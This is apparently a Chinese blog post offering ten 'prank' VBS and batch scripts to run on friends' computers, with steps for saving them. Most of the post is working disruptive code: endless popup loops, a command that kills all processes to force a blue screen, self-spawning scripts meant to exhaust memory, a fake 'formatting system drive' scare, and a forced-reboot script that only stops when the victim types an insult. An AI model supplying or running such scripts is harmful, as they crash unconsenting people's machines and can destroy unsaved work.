大家可能為了整人費(fèi)了不是功夫吧，今天，給你有電腦的朋友一個(gè)大驚喜。

1，彈窗.vbs

do msgbox "hello!" loop

(無限彈窗）

2，藍(lán)屏.bat

taskkill /f /fi "pid ne 1"

用這個(gè)，就藍(lán)屏。

3，拖垮內(nèi)存.bat

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沒錯(cuò)，就這么點(diǎn)，自己運(yùn)行自己。

4，無限報(bào)數(shù).vbs

do i = 0 msgbox i i += 1 loop

5，我是豬頭三.bat

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6，煩人.vbs

Set s = CreateObject("sapi.spvoice") msgbox "哈哈，關(guān)不掉我吧" msgbox "你個(gè)。。" msgbox "讓我們看一下系統(tǒng)盤文件" msgbox "正在格式化系統(tǒng)盤" msgbox "恭喜你，你沒了" s.speak "去死吧" domsgbox "電腦即將爆炸，請(qǐng)立刻離開電腦"loop

7，無限彈出光驅(qū)（沒有光驅(qū)的電腦不行哦）

set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop

8，小矯情.vbs

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)WScript.Echo("你是可愛的小朋嗎?")WScript.Echo("哈,我想你拉，這你都不知道嗎？")WScript.Echo("怎么才來，說~是不是不關(guān)心我")WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")WScript.Echo("小強(qiáng)很生氣，后果很嚴(yán)重哦。")WScript.Echo("嘿嘿！你也會(huì)很慘滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要點(diǎn)上50下哦，不過會(huì)給你驚喜滴")WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦")WScript.Echo("還剩48下，快點(diǎn)，小笨蛋！")WScript.Echo("還剩47下對(duì)，就這樣快點(diǎn)點(diǎn)！")WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")WScript.Echo("還剩45下，記得要快哦！")WScript.Echo("還剩43下")WScript.Echo("還剩42下")WScript.Echo("還剩41下")WScript.Echo("還剩40下")WScript.Echo("還剩39下")WScript.Echo("還剩38下")WScript.Echo("還剩37下")WScript.Echo("還剩36下")WScript.Echo("還剩35下")WScript.Echo("還剩34下")WScript.Echo("還剩33下")WScript.Echo("還剩32下")WScript.Echo("還剩30下")WScript.Echo("還剩29下")WScript.Echo("還剩28下")WScript.Echo("還剩27下")WScript.Echo("還剩26下")WScript.Echo("還剩25下")WScript.Echo("還剩24下")WScript.Echo("還剩23下")WScript.Echo("還剩22下")WScript.Echo("還剩21下")WScript.Echo("還剩20下")WScript.Echo("還剩19下")WScript.Echo("還剩18下")WScript.Echo("還剩17下")WScript.Echo("還剩16下")WScript.Echo("還剩15下")WScript.Echo("還剩14下")WScript.Echo("還剩13下停停！！！慢點(diǎn)，我有話要說")WScript.Echo("還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴")WScript.Echo("還剩11下，以后就看不到我拉。555555")WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！")WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉？")WScript.Echo("還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家")WScript.Echo("還剩7下。瘋了，你有點(diǎn)負(fù)意！")WScript.Echo("還剩6下。對(duì)。你就點(diǎn)吧，我恨你！")WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")WScript.Echo("還剩4下！真要?jiǎng)h除我？")WScript.Echo("還剩3下。可是我真的很眷戀你。。。")WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！")WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機(jī)會(huì)。")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

9，不輸入豬就關(guān)機(jī).vbs

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)你機(jī)，不信，你試試···"" ",0 ,true dim a do while(a <> "我是豬") a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬""　","說不說","不說",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，豬" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真嗨皮"

10，死機(jī)彈窗.bat

@echo off :loop start mshta vbscript:msgbox("死機(jī)",0,"ai")(window.close) goto loop

備注：制作流程：桌面——鼠標(biāo)右鍵——新建——文本文檔——打開文檔——輸入代碼——左上角文件——另存為——改名并且將后綴改為vbs或bat——保存類型——所以文件——編碼——ANSI（win7默認(rèn)ANSI，win10/11得改不然無法顯示中文）——保存

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